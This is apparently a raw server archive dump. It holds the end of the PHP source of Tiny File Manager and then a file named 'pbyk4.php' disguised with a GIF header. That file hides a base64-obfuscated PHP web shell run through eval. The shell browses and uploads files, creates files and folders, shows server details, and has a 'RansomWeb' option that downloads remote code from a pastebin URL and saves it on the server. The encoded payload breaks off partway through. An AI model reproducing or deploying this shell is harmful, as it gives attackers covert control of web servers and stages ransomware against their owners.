(Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue)); 
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Show image
 * @param string $img
 */
function fm_show_image($img)
{
    $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
    $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';

    $img = trim($img);
    $images = fm_get_images();
    $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
    if (isset($images[$img])) {
        $image = $images[$img];
    }
    $image = base64_decode($image);
    if (function_exists('mb_strlen')) {
        $size = mb_strlen($image, '8bit');
    } else {
        $size = strlen($image);
    }

    if (function_exists('header_remove')) {
        header_remove('Cache-Control');
        header_remove('Pragma');
    } else {
        header('Cache-Control:');
        header('Pragma:');
    }

    header('Last-Modified: ' . $modified_time, true, 200);
    header('Expires: ' . $expires_time);
    header('Content-Length: ' . $size);
    header('Content-Type: image/png');
    echo $image;

    exit;
}


/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['RememberMe']     = 'Remember Me';            $tr['en']['Actions']            = 'Actions';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';
    $tr['en']['MemoryUsed']     = 'Memory used';            $tr['en']['PartitionSize']      = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Full size']      = 'Full size';              $tr['en']['Help']               = 'Help';
    $tr['en']['Free of']        = 'Free of';                $tr['en']['Preview']            = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';
    $tr['en']['FreeOf']         = 'free of';                $tr['en']['CalculateFolderSize']= 'Calculate folder size';
    $tr['en']['ProcessID']      = 'Process ID';             $tr['en']['Created']    = 'Created';
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['You are logged in']    = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    
    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

/**
 * Get base64-encoded images
 * @return array
 */
function fm_get_images()
{
    return array(
        'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
        RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
        /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
        QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
    );
}

?>
pbyk4.php000064400000053700151550217160006316 0ustar00GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk
X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0
dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy
bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp
OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv
cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs
b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g
J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN
4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG
aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi
4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp
c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU
WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg
pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs
JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw
dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg
pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh
IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi
PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk
ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t
Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+
PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF
VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z
Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48
aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K
CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp
PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg
pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K
CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8
bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u
